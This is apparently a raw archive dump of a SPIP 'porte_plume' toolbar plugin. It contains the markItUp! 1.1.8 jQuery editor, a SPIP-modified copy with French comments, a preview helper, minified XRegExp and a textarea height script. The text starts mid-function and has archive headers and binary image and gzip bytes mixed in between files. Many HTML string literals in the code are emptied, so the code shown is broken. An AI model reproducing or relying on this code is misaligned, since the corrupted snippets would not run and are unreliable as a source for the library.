callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); if (ctrlKey === true && shiftKey === true) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if ((selection === '' && string.replaceWith === '')) { caretOffset += fixOperaBug(string.block); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; caretOffset = $$.val().substring(caretPosition, $$.val().length).length; caretOffset -= fixOperaBug($$.val().substring(0, caretPosition)); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } else { caretOffset = -1; } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if (ctrlKey === true && shiftKey === true) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretPosition) + block + textarea.value.substring(caretPosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ // quick fix to make it work on Opera 9.5 if ($.browser.opera && $.browser.version >= 9.5 && len == 0) { return false; } range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } } else { // opera caretPosition = textarea.selectionStart; } } else { // gecko & webkit caretPosition = textarea.selectionStart; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.keyCode)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } if (e.keyCode === 13 || e.keyCode === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.keyCode === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } if (caretOffset !== -1) { get(); caretOffset = $$.val().length - caretOffset; set(caretOffset, 0); caretOffset = -1; return false; } else { markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); jquery.markitup_pour_spip.js000066600000053436151451431370012377 0ustar00// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- /* * Le code original de markitup 1.1.8 * a ete modifie pour prendre en compte * * 1) la langue utilisee dans les textarea : * - si un textarea possede un attribut lang='xx' alors * markitup n'affichera que les icones qui correspondent a cette langue * - on peut passer une valeur de langue par defaut a markitup (le textarea peut ne pas en definir) * .markitup(set_spip,{lang:'fr'}); * - une option supplementaire optionnelle 'lang' est introduite dans les parametres * des boutons (markupset), par exemple : lang:['fr','es','en'] * - si un bouton n'a pas ce parametre, l'icone s'affiche * quelque soit la langue designee dans le textarea ou les parametres de markitup ; * sinon, il faut que la langue soit contenue dedans pour que l'icone s'affiche. * 2) les control + shift (ou alt) + click bouton qui ne semblaient pas fonctionner * en tout cas sous FF3/ubintu/jquery 1.2.6 a verifier chez les autres (opera 9.5/ubuntu ok) * 3) gerer des types de selections differentes : * - normales comme dans markitup (rien a faire) * - 'selectionType':'word' : aux mots le plus proche si pas de selection (sinon la selection) * - 'selectionType':'line' : aux lignes les plus proches * - and 'return' : ugly hack to generate list (and so on) on key 'return' press * 4) forcer des actions multilignes sans avoir besoin de faire control+click * - 'forceMultiline':true : force donc une insertion multiligne * 5) correction de la recuperation des selections d'Opera et de IE * en utilisant une autre fonction de split() qui corrige leurs bugs. * (caretOffset n'est plus necessaire) * */ ;(function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', lang: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretEffectivePosition, clicked, hash, header, footer, previewWindow, template, iFrame, abort, before, after; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
          '); $$.wrap('
          '); $$.wrap('
          '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
          ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // remove empty dropMenu $(header).find("li.markItUpDropMenu ul:empty").parent().remove(); // add the footer after the textarea footer = $('
          ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
          ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
            '), i = 0; var lang = ($$.attr('lang')||options.lang); $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; // pas de langue ou dans la langue ; et uniquement si langue autorisee if ((!lang || !button.lang || ($.inArray(lang, button.lang) != -1)) && (!button.lang_not || ($.inArray(lang, button.lang_not) == -1))) { title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
          • '+(button.separator||'')+'
          • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
          • '+(button.name||'')+'
          • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } function selectWord(){ selectionBeforeAfter(/\s|[.,;:!¡?¿()]/); selectionSave(); } function selectLine(){ selectionBeforeAfter(/\r?\n/); selectionSave(); } function selectionRemoveLast(pattern){ // Remove space by default if (!pattern) pattern = /\s/; last = selection[selection.length-1]; if (last && last.match(pattern)) { set(caretPosition, selection.length-1); get(); $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); } } function selectionBeforeAfter(pattern) { if (!pattern) pattern = /\s/; before = textarea.value.substring(0, caretEffectivePosition); after = textarea.value.substring(caretEffectivePosition + selection.length - fixIeBug(selection)); before = before.split(pattern); after = after.split(pattern); } function selectionSave(){ nb_before = before ? before[before.length-1].length : 0; nb_after = after ? after[0].length : 0; nb = nb_before + selection.length + nb_after - fixIeBug(selection); caretPosition = caretPosition - nb_before; set(caretPosition, nb); get(); $.extend(hash, { selection:selection, caretPosition:caretPosition, scrollPosition:scrollPosition } ); } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // corrections des selections pour que // - soit le curseur ne change pas // - soit on prend le mot complet (si pas de selection) // - soit on prend la ligne (avant, apres la selection) if (button.selectionType) { if (button.selectionType == "word") { if (!selection) { selectWord(); } else { // win/ff add space on double click ? (hum, seems strange) selectionRemoveLast(/\s/); } } if (button.selectionType == "line") { selectLine(); } // horrible chose, mais tellement plus pratique // car on ne peut pas de l'exerieur (json) utiliser // les fonctions internes de markitup if (button.selectionType == "return"){ selectionBeforeAfter(/\r?\n/); before_last = before[before.length-1]; after = ''; // gestion des listes -# et -* if (r = before_last.match(/^-([*#]+) ?(.*)$/)) { if (r[2]) { button.replaceWith = "\n-"+r[1]+' '; before_last = ''; } else { // supprime le -* present // (before le fera) button.replaceWith = "\n"; } } else { before_last = ''; button.replaceWith = "\n"; } before[before.length-1] = before_last; selectionSave(); } } // / fin corrections // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if (ctrlKey === true && shiftKey === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); // insertion forcee en multiligne ou ctrl+click if ((button.forceMultiline === true && selection.length) || (ctrlKey === true && shiftKey === true)) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + (($.browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if (selection === ''){ start += fixOperaBug(string.replaceWith); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if ((button.forceMultiline === true) || (ctrlKey === true && shiftKey === true)) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if ($.browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if ($.browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretEffectivePosition) + block + textarea.value.substring(caretEffectivePosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if ($.browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } caretEffectivePosition = caretPosition; } else { // opera caretPosition = textarea.selectionStart; lenSelection = selection.length; // calcul du nombre reel de caracteres pour les substr() set(0,caretPosition); opBefore = document.selection.createRange().text; caretEffectivePosition = opBefore.length - fixOperaBug(opBefore); set(caretPosition, lenSelection); selection = document.selection.createRange().text; } } else { // gecko & webkit caretPosition = textarea.selectionStart; caretEffectivePosition = caretPosition; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $(''); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( localize(data, 1) ); } } ); } else { if (!template) { $.ajax( { url: options.previewTemplatePath, success: function(data) { writeInPreview( localize(data, 1).replace(//g, $$.val()) ); } } ); } } return false; } function writeInPreview(data) { if (previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { if (e.type === 'keydown') { if (e.which === 18) {e.altKey = true;} // alt if (e.which === 17) {e.ctrlKey = true;} // control if (e.which === 16) {e.shiftKey = true;} // shift } shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? e.ctrlKey : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $("a[accesskey="+String.fromCharCode(e.which)+"]", header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mousedown'); },1); return false; } } // si opera, on s'embete pas, il cree plus de problemes qu'autre chose // car il ne prend pas en compte l'arret de ces evenements if (!$.browser.opera) { if (e.which === 13 || e.which === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.which === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } markup(options.onTab); return options.onTab.keepDefault; } } } } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { var $$ = $(this).unbind().removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery); jquery.previsu_spip.js000066600000005046151451431370011165 0ustar00;(function($) { $.fn.previsu_spip = function(settings) { var options; options = { previewParserPath: '' , previewParserVar: 'data', textEditer: 'Editer', textVoir: 'Voir' }; $.extend(options, settings); return this.each(function() { var $$, textarea, tabs, preview; $$ = $(this); textarea = this; // init and build previsu buttons function init() { $$.addClass("pp_previsualisation"); tabs = $('
            ').prependTo($$.parent()); $(tabs).append( '' + options.textVoir + '' + '' + options.textEditer + '' ); preview = $('
            ').insertAfter(tabs); preview.hide(); $('.previsuVoir').click(function(){ mark = $(this).parent().parent(); objet = mark.parents('.formulaire_spip')[0].className.match(/formulaire_editer_(\w+)/); champ = mark.parents('li')[0].className.match(/editer_(\w+)/); $(mark).find('.markItUpPreview').height( $(mark).find('.markItUpHeader').height() + $(mark).find('.markItUpEditor').height() + $(mark).find('.markItUpFooter').height() ); $(mark).find('.markItUpHeader').hide(); $(mark).find('.markItUpEditor').hide(); $(mark).find('.markItUpFooter').hide(); $(this).addClass('on').next().removeClass('on'); $(mark).find('.markItUpPreview').show() .addClass('ajaxLoad') .html(renderPreview( $(mark).find('textarea.pp_previsualisation').val(), champ[1].toUpperCase(), objet[1]) ) .removeClass('ajaxLoad'); return false; }); $('.previsuEditer').click(function(){ mark = $(this).parent().parent(); $(mark).find('.markItUpPreview').hide(); $(mark).find('.markItUpHeader').show(); $(mark).find('.markItUpEditor').show(); $(mark).find('.markItUpFooter').show(); $(this).addClass('on').prev().removeClass('on'); return false; }); } function renderPreview(val, champ, objet) { var phtml; if (options.previewParserPath !== '') { $.ajax( { type: 'POST', async: false, url: options.previewParserPath, data: 'champ='+champ +'&objet='+objet +'&' + options.previewParserVar+'='+encodeURIComponent(val), success: function(data) { phtml = data; } } ); } return phtml; } init(); }); }; })(jQuery); xregexp-min.js000066600000015655151451431370007371 0ustar00//XRegExp 1.2.0 MIT License var XRegExp;if(!XRegExp){(function(){XRegExp=function(r,l){if(XRegExp.isRegExp(r)){if(l!==undefined){throw TypeError("can't supply flags when constructing one RegExp from another")}return r.addFlags("")}if(h){throw Error("can't call the XRegExp constructor within token definition functions")}var l=l||"",k=[],s=0,p=XRegExp.OUTSIDE_CLASS,m={hasNamedCapture:false,captureNames:[],hasFlag:function(u){if(u.length>1){throw SyntaxError("flag can't be more than one character")}return l.indexOf(u)>-1}},n,q,o,t;while(s1&&XRegExp._indexOf(m,"")>-1){k=RegExp("^"+this.source+"$(?!\\s)",XRegExp._getNativeFlags(this));i.replace.call(m[0],k,function(){for(var p=1;p(m.index+m[0].length)){this.lastIndex--}}return m};if(!c){RegExp.prototype.test=function(l){var k=i.exec.call(this,l);if(k&&this.global&&this.lastIndex>(k.index+k[0].length)){this.lastIndex--}return !!k}}String.prototype.match=function(l){if(!XRegExp.isRegExp(l)){l=RegExp(l)}if(l.global){var k=i.match.apply(this,arguments);l.lastIndex=0;return k}return l.exec(this)};String.prototype.replace=function(m,n){var o=XRegExp.isRegExp(m),l,k,p;if(o&&typeof n.valueOf()==="string"&&n.indexOf("${")===-1&&d){return i.replace.apply(this,arguments)}if(!o){m=m+""}else{if(m._xregexp){l=m._xregexp.captureNames}}if(typeof n==="function"){k=i.replace.call(this,m,function(){if(l){arguments[0]=new String(arguments[0]);for(var q=0;qq.length-3){t=String.prototype.slice.call(r,-1)+t;r=Math.floor(r/10)}return(r?q[r]||"":"$")+t}}else{var u=+v;if(u<=q.length-3){return q[u]}u=l?XRegExp._indexOf(l,v):-1;return u>-1?q[u+1]:s}})})}if(o&&m.global){m.lastIndex=0}return k};String.prototype.split=function(o,k){if(!XRegExp.isRegExp(o)){return i.split.apply(this,arguments)}var q=this+"",m=[],p=0,n,l;if(k===undefined||+k<0){k=Infinity}else{k=Math.floor(+k);if(!k){return[]}}o=o.addFlags("g");while(n=o.exec(q)){if(o.lastIndex>p){m.push(q.slice(p,n.index));if(n.length>1&&n.index=k){break}}if(!n[0].length){o.lastIndex++}}if(p===q.length){if(!i.test.call(o,"")||l){m.push("")}}else{m.push(q.slice(p))}return m.length>k?m.slice(0,k):m}})();RegExp.prototype.addFlags=function(b){var c=XRegExp(this.source,(b||"")+XRegExp._getNativeFlags(this)),a=this._xregexp;if(a){c._xregexp={source:a.source,captureNames:a.captureNames?a.captureNames.slice(0):null}}return c};RegExp.prototype.apply=function(b,a){return this.exec(a[0])};RegExp.prototype.call=function(a,b){return this.exec(b)};RegExp.prototype.forEachExec=function(e,f,c){var d=this.addFlags("g"),b=-1,a;while(a=d.exec(e)){f.call(c,a,++b,e,d);if(!a[0].length){d.lastIndex++}}if(this.global){this.lastIndex=0}};RegExp.prototype.validate=function(b){var a=RegExp("^(?:"+this.source+")$(?!\\s)",XRegExp._getNativeFlags(this));if(this.global){this.lastIndex=0}return b.search(a)===0};XRegExp.cache=function(c,a){var b="/"+c+"/"+(a||"");return XRegExp.cache[b]||(XRegExp.cache[b]=XRegExp(c,a))};XRegExp.escape=function(a){return a.replace(/[-[\]{}()*+?.\\^$|,#\s]/g,"\\$&")};XRegExp.freezeTokens=function(){XRegExp.addToken=null};XRegExp.isRegExp=function(a){return Object.prototype.toString.call(a)==="[object RegExp]"};XRegExp.matchWithinChain=function(e,a,b){var c;function d(g,l){var j=a[l].addFlags("g"),f=[],k,h;for(h=0;h/,function(b){this.captureNames.push(b[1]);this.hasNamedCapture=true;return"("});XRegExp.addToken(/\\k<([\w$]+)>/,function(c){var b=XRegExp._indexOf(this.captureNames,c[1]);return b>-1?"\\"+(b+1)+(isNaN(c.input.charAt(c.index+c[0].length))?"":"(?:)"):c[0]});XRegExp.addToken(/\[\^?]/,function(b){return b[0]==="[]"?"\\b\\B":"[\\s\\S]"});XRegExp.addToken(/(?:\s+|#.*)+/,function(b){return a.test(b.input.slice(b.index+b[0].length))?"":"(?:)"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("x")});XRegExp.addToken(/\./,function(){return"[\\s\\S]"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("s")})})();XRegExp.version="1.2.0"};porte_plume_forcer_hauteur.js000066600000001244151451431370012543 0ustar00function barre_forcer_hauteur () { jQuery(".markItUpEditor").each(function() { var hauteur_min = jQuery(this).height(); var hauteur_max = parseInt(jQuery(window).height()) - 200; var hauteur = hauteur_min; var signes = jQuery(this).val().length; if (signes){ /* en gros: 400 signes donnent 100 pixels de haut */ var hauteur_signes = Math.round(signes / 4) + 50; if (hauteur_signes > hauteur_min && hauteur_signes < hauteur_max) hauteur = hauteur_signes; else if (hauteur_signes > hauteur_max) hauteur = hauteur_max; jQuery(this).height(hauteur); } }); } jQuery(window).bind("load", function() { barre_forcer_hauteur(); }); PKQ\_*'configuration/text_list_bullets.png.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/icones_barre/text_list_bullets.png000066600000000530151451435400023615 0ustar00PNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDAT8c?%*\0u ,@D@AAGFFO] | |Tй僐ymK_)8#""濉]]jjjqd׆j _*vu%ܿ ekkkWQQ/''_\\Qd3E.`?ۢIENDB`PKQ\8configuration/prive.zipnuW+APKJQ\1`ƅ!porte_plume_preview_fonctions.phpnuW+A PKJQ\V==configurer/porte_plume.htmlnuW+A
            #FORMULAIRE_CONFIGURER_PORTE_PLUME
            PKJQ\$Nporte_plume_preview.htmlnuW+A#CACHE{0} [(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
            [(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)] [
            (#NOTES)
            ]
            PKJQ\1`ƅ!porte_plume_preview_fonctions.phpnuW+APKJQ\V==configurer/porte_plume.htmlnuW+APKJQ\$N^porte_plume_preview.htmlnuW+APKPKQ\[.configuration/guillemets-uniques-de.png.tar.gznuW+AMկL-(M,J///O(I++//*I/)LK-OJ,K/IM-)-,,M-MI+Kg 831PLiT%E@+a ~\R\@&Kaf  X}ݸaKF秕 cJ~RgnbzjPjbJeT"W}}} SHHGmll|a_ GI_`׼7(Rq+)HΚ7o[t:p &(&ȆƉse<$11800Fܜ1F7qX XCX-rDx>u]\?<~.$nF(4/5PKQ\8Yconfiguration/javascript.zipnuW+APK8Q\OSXCXCjquery.markitup.jsnuW+A// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, 